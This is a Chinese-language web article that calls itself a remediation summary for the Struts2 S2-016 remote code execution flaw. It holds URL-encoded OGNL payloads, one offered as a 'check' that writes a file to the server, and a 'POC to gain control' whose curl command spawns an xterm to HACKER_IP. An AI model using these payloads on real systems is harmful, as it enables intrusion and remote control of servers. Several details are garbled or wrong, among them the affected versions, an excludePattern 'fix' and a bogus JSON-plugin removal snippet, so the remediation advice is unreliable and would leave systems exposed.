Struts2 S2-016漏洞修复总结

Struts2 S2-016漏洞修复总结

概述

Struts2 S2-016是一种影响Struts框架的远程代码执行漏洞。攻击者可以通过构造恶意的OGNL表达式,在未经授权的情况下,远程执行任意代码。该漏洞影响Struts2版本2.0.0-2.3.15,2.3.16-2.3.28。

漏洞修复方法

确认是否受到漏洞影响

首先,需要确认目标服务器是否受到该漏洞的影响。可以通过向服务器发送如下请求进行测试:

/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%22multipart/form-data%22%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29%2C%23c%3D%23req.getSession%28%29%2C%23s%3D%23c.getServletContext%28%29%2C%23b%3D%23s.getRealPath%28%22%2F%22%29%2B%23parameters.obj[0].getFileName%28%29%2C%23fos%3Dnew%20java.io.FileOutputStream%28%23b%29%2C%23fos.write%28%23parameters.obj[0].getBytes%28%29%29%2C%23fos.close%28%29%2C%23f%3Dnew%20java.io.File%28%23b%29%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23res.getWriter%28%29.print%28%23f.exists%28%29%29%2C%23res.getWriter%28%29.flush%28%29%2C%23res.getWriter%28%29.close%28%29%29%7D/someNamespace/hello.action?obj=123

如果返回结果中包含“true”,则表示目标服务器存在漏洞。

升级Struts2版本

在确认受到漏洞影响后,最好的修复方法是升级Struts2版本。Struts2官方在修复该漏洞时,推荐用户升级至2.3.29版本。

配置安全策略文件

如果不能升级Struts2版本,也可以通过配置安全策略文件进行修复。具体来说,需要向struts.xml文件中添加如下配置:

<constant name="struts.action.excludePattern" value="\.action$"/>

该配置将阻止请求以“.action”结尾的Action。

移除Struts2-JSON插件

在一些特殊情况下,还需要移除Struts2-JSON插件,通过添加如下配置进行移除:

<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
    <interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>

该配置将移除Struts2-JSON插件,避免了由此引发的漏洞。

示例

示例一

假设一个漏洞的目标程序是一个Struts2应用,可以查看该应用的struts.xml文件,看看是否已经添加了上述的修复措施。可以按照如下步骤进行修复:

1.在Struts2应用的struts.xml文件中检查配置,确保添加了安全策略配置。如下:

<constant name="struts.action.excludePattern" value="\.action$"/>

2.移除Struts2-JSON插件。如下:

<bean name="removeJSONInterceptor" class="org.apache.struts2.json.JSONInterceptor" scope="prototype">
    <interceptor-ref name="defaultJsonSerialization"/>
</bean>
<default-interceptor-ref name="removeJSONInterceptor"/>

3.将Struts2升级至最新版本,确认漏洞已被修复。

示例二

假设一个漏洞的目标程序是一个Struts2应用,应用的版本为2.3.16.1。目标是构建一个POC以检测该应用,以便利用漏洞来取得控制权。可以按照如下步骤构建POC:

1.在本地安装一个Apache Tomcat服务器,并将目标应用部署到该服务器上。

2.构建POC文件,并通过Web浏览器向目标服务器发送请求:

$ echo "%{(new java.lang.ProcessBuilder(new java.lang.String[]{'curl','-d','Content-Type:%20multipart/form-data;%20boundary=singlequotes','%20-F',%20'singlequotes=%22%24%7bsystem(%27id%27)%7d%22',%20-X,%20'POST',%20'http://your-ip/rest/any/path'}).start()).start()}" | perl -MURI::Escape -ne 'print uri_escape($_)' | xargs -I{}

curl "http://target-host:8080/struts2-blank/example/X.action?redirect:%24%7b%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue,%23a%3D%22multipart/form-data%22,%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest%28%29,%23c%3D%23req.getSession%28%29,%23s%3D%23c.getServletContext%28%29,%23w%3D%23s.getRealPath%28%22/W.html%22%29,%23fos%20%3D%20new%20java.io.FileOutputStream%28%23w%29,%23fos.write%28%23parameters.singlequotes.getBytes()%29,%23fos.close%28%29,%23proc%3Dnew%20java.lang.ProcessBuilder%28new%20java.lang.String[]%7B%22xterm%22,%22-display%22,%22HACKER_IP:0%22%7D%29,%23proc.redirectErrorStream%28true%29,%23p%3D%23proc.start%28%29,%23q%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28%23p.getInputStream%28%29%29%29,%23s%3Dnew%20java.lang.StringBuffer%28%29,%23w%3Dnew%20char%5B1024%5D,%23ch%3D0%0A%20%20%20%20%20%20%20%20%20%20%20%20while%20%28%28%23ch%3D%23q.read%28%23w%29%29%20%3E%200%29%20%7B%23s.append%28%23w%2C0%2C%23ch%29%3B%7D%20%23%23%23THIS%20IS%20THE%20COMMAND%20OUTPUT%20FROM%20OUR%20PROCESS%20%23%23%23,%23q.close%28%29%7D&singlequotes={}" -H "Content-Type: multipart/form-data; boundary=singlequotes" -v

3.如果返回结果中包含攻击者想要的数据,说明POC构造成功,可以用此方法漏洞得到攻击。

结论

对于Struts2 S2-016漏洞来说,修复方法包含升级Struts2版本、配置安全策略文件、移除Struts2-JSON插件等。在实际操作中,应该根据具体情况采取相应的修复方法。同时,应当定期检查Struts2应用程序的漏洞情况,保证安全的运行环境。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Struts2 S2-016漏洞修复总结 - Python技术站

(0)
上一篇 2023年5月20日
下一篇 2023年5月20日

相关文章

  • 微信小程序 wx.request(接口调用方式)详解及实例

    下面是微信小程序 wx.request(接口调用方式)详解及实例攻略。 什么是 wx.request 在微信小程序中,我们经常需要请求服务器接口来获取数据,这就需要用到 wx.request 这个接口。 wx.request 是微信小程序中提供的一个用于发起 HTTP 请求的 API 接口,可以用于请求服务器接口、上传文件、下载文件等各种场景。 使用 wx.…

    Java 2023年5月23日
    00
  • Java自定义实现equals()方法过程解析

    Java自定义实现equals()方法过程解析 什么是equals()方法? 在Java中,equals()方法是用于比较两个对象是否相等的方法。它是Object类中的方法,子类可以覆盖这个方法来实现自己的比较方式。一般来说,我们自定义的类需要重写equals方法,来比较类中的属性是否相等。 equals()方法的实现要点 在Java中重写equals方法时…

    Java 2023年5月18日
    00
  • 详细聊一聊JavaWeb中的Request和Response

    接下来我将详细讲解一下JavaWeb中的Request和Response。 什么是Request和Response? 在JavaWeb中,客户端通过HTTP协议向服务器发送请求,服务器对请求进行处理后再返回相应的响应信息。JavaWeb中的Request和Response就是对HTTP请求和响应的封装。 Request(请求)对象是由客户端发送到服务器的,并…

    Java 2023年5月20日
    00
  • struts2 中文乱码的解决办法分享

    下面我将详细讲解如何解决 Struts2 中文乱码问题。 问题描述 在 Struts2 应用程序中,当提交的表单数据中包含中文字符时,服务器端收到的请求参数中文会出现乱码,给用户带来了不好的使用体验。 解决思路 解决 Struts2 中文乱码问题,可以通过以下两种方式实现: 在 web.xml 文件中配置 Filter,拦截所有请求,对请求参数进行编码。 在…

    Java 2023年5月20日
    00
  • 使用Sharding-JDBC对数据进行分片处理详解

    那么让我们来详细讲解如何使用Sharding-JDBC对数据进行分片处理。 什么是Sharding-JDBC Sharding-JDBC是一种基于JDBC的轻量级Java框架,用于将数据库水平分片。Sharding-JDBC通过拦截JDBC API调用来实现透明的数据分片,所以你可以使用任何基于JDBC的ORM框架(如Hibernate、MyBatis、JP…

    Java 2023年6月16日
    00
  • jQuery ajax MD5实现用户注册即时验证功能

    下面是“jQuery ajax MD5实现用户注册即时验证功能”的完整攻略: 介绍 在用户注册过程中,我们希望用户在输入用户名或邮箱时,能够即时验证输入是否合法,避免用户提交无效数据。本教程将介绍如何使用jQuery ajax和MD5实现用户注册即时验证功能。 步骤 以下是实现该功能的大致步骤: 在HTML页面中添加用户名和邮箱的输入框以及一个用于显示验证结…

    Java 2023年6月16日
    00
  • Spring Security实现基于角色的访问控制框架

    为了实现基于角色的访问控制,Spring提供了一个框架:Spring Security。它可以帮助我们管理用户的认证和授权,并提供一些便利工具来实现对不同角色的访问控制。本文将介绍如何使用Spring Security来实现基于角色的访问控制,并提供两个示例来辅助理解。 一、Spring Security的概念和架构 1.1. Spring Security…

    Java 2023年5月20日
    00
  • jsp filter 过滤器功能与简单用法示例

    下面我将为你详细讲解“JSP Filter 过滤器功能与简单用法示例”的完整攻略。 1. JSP Filter 过滤器的概念 JSP Filter 是 JSP 技术中的一种过滤器,它可以以拦截器的方式截获请求,对请求进行过滤或者添加处理,再将请求交给被请求的资源处理,从而实现某些特定的功能和保障系统的安全性。 2. JSP Filter 过滤器的应用场景 J…

    Java 2023年6月15日
    00
合作推广
合作推广
分享本页
返回顶部